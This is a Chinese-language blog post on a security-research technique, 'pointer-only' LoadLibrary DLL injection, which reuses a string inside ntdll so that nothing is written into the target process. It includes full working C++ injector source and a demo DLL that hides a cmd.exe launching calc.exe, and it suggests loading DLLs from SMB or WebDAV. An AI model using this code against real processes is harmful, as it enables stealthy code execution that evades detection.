仅指针的 LoadLibrary 注入

注入原理

自 Windows Vista 以来,ASLR 随机化 每次启动时的基址。系统 DLL 在所有进程中加载到一致的基址以优化重定位性能。 因此,像 ntdll + 0x4 这样的偏移量应该指向所有进程中的相同字节

如下图所示,使用Process Hacker进行查看ntdll在不同应用程序下对应的基地址是相同的:

于此同时使用LoadLibrary时会在对应的字符串后自动添加上.dll对此我们只需要在系统 DLL 中找到一个字符串进行转载我们预先设计好的一个 DLL 即可完成注入工作,而减少了写入的操作

基于此给出以下的注入流程:

具体实现

对于实现而言我们需要在 A 程序中找到一个静态字符串,以 0 为例,我们在ntdll.dll中进行寻找一个静态的ASCII字符串满足0x30 0x00的结构形式,那么我们对应获取 B 程序的 PID 进而获取对应的句柄创建远程线程进行加载便完成了对应的注入工作

对应注入的 DLL 载荷不一定局限于经典的搜索顺序劫持

也许可以滥用 DefineDosDeviceW 或 NT符号链接 从任意位置(如 SMB 共享或 WebDAV 挂载)加载

为便于测试,测试过程中采用搜索顺序劫持,对应的文件结构如下

Test.exe为我们对应的一个被注入的程序 B,0.dll为目标注入DLL文件,对应的程序 A 的源码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <winternl.h>
#include <vector>

#pragma comment(lib, "psapi.lib")

// 获取模块的内存基址和大小
bool GetModuleMemoryRange(HMODULE hModule, void** ppBase, size_t* pSize) {
MODULEINFO modInfo = {};
if (!GetModuleInformation(GetCurrentProcess(), hModule, &modInfo, sizeof(modInfo))) {
std::cerr << "[!] GetModuleInformation failed: " << GetLastError() << std::endl;
return false;
}
*ppBase = modInfo.lpBaseOfDll;
*pSize = modInfo.SizeOfImage;
return true;
}

// 扫描模块中匹配 0x30 00 字节序列的位置
std::vector<DWORD_PTR> FindPattern0x30_00(void* baseAddr, size_t searchSize) {
std::vector<DWORD_PTR> matches;
BYTE* current = static_cast<BYTE*>(baseAddr);
const BYTE target = 0x30;

while (current < static_cast<BYTE*>(baseAddr) + searchSize) {
MEMORY_BASIC_INFORMATION mbi = {};
if (!VirtualQuery(current, &mbi, sizeof(mbi))) {
std::cerr << "[!] VirtualQuery failed at: 0x" << static_cast<void*>(current) << std::endl;
break;
}

size_t safeRemaining = 0;
ptrdiff_t remainingBytes = (static_cast<BYTE*>(baseAddr) + searchSize) - current;
if (remainingBytes > 0) {
safeRemaining = static_cast<size_t>(remainingBytes);
}

size_t regionSize = min(mbi.RegionSize, safeRemaining);

// 跳过不可访问内存
if (mbi.Protect & (PAGE_NOACCESS | PAGE_GUARD)) {
current += regionSize;
continue;
}

for (size_t i = 0; i + 1 < regionSize; ++i) {
if (current[i] == target && current[i + 1] == '\0') {
DWORD_PTR offset = reinterpret_cast<DWORD_PTR>(&current[i]) - reinterpret_cast<DWORD_PTR>(baseAddr);
matches.push_back(offset);
}
}

current += regionSize;
}

return matches;
}

int main() {
// 获取 ntdll.dll 模块句柄
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
std::cerr << "[!] Failed to get handle of ntdll.dll." << std::endl;
return 1;
}

void* baseAddr = nullptr;
size_t moduleSize = 0;

// 获取模块范围
if (!GetModuleMemoryRange(hNtdll, &baseAddr, &moduleSize)) {
return 1;
}

std::cout << "[*] Scanning ntdll.dll ["
<< "Base: 0x" << std::hex << reinterpret_cast<DWORD_PTR>(baseAddr)
<< ", Size: 0x" << moduleSize << "]\n";

// 查找匹配的字节序列
auto offsets = FindPattern0x30_00(baseAddr, moduleSize);

std::cout << "\n[+] Found " << std::dec << offsets.size() << " instances of 0x30 00 pattern:\n";

int shown = 0;
DWORD_PTR testOffset = offsets[0];
for (const auto& offset : offsets) {
std::cout << " [+] Offset: ntdll + 0x" << std::hex << offset
<< " (Addr: 0x" << reinterpret_cast<DWORD_PTR>(baseAddr) + offset << ")\n";
if (++shown >= 10) break;
}

// 测试读取匹配内容并拼接成 .dll 文件名
char firstChar = *(char*)(reinterpret_cast<DWORD_PTR>(baseAddr) + testOffset);
LPVOID dllNameAddr = reinterpret_cast<char*>(baseAddr) + testOffset;
std::string dllName = std::string(1, firstChar) + ".dll";

std::cout << "\n[*] DLL Name Guess: " << dllName << std::endl;
std::cout << "[*] DLL String Address: " << dllNameAddr << std::endl;

// 创建远程线程:测试向目标进程注入 LoadLibraryA
DWORD pid = 24168;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
std::cerr << "[!] Failed to open target process with PID " << pid << std::endl;
return 1;
}

HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"),
dllNameAddr,
0,
NULL
);

if (!hThread) {
std::cerr << "[!] Failed to create remote thread!" << std::endl;
return 1;
}

std::cout << "[+] Remote thread created successfully!" << std::endl;

return 0;
}

对应的DLL源码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <tchar.h>

bool do_Some_Thing() {
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

LPCTSTR cmdPath = L"C:\\Windows\\System32\\cmd.exe";
wchar_t cmdArgs[] = L"/c calc.exe";

if (!CreateProcess(cmdPath, cmdArgs, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
return false;
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return true;
}


BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
bool res = false;
switch (ul_reason_for_call)
{
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_ATTACH:
res = do_Some_Thing();
if (res) {
MessageBoxA(NULL, "CreateThread Success", "", MB_OK);
}
else {
MessageBoxA(NULL, "CreateThread False", "", MB_OK);
}
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

修改对应程序B运行后的 PID 即可完成对应的注入工作:


仅指针的 LoadLibrary 注入
https://equinox-shame.github.io/2025/05/26/仅指针的LoadLibrary注入/
作者
梓曰
发布于
2025年5月26日
许可协议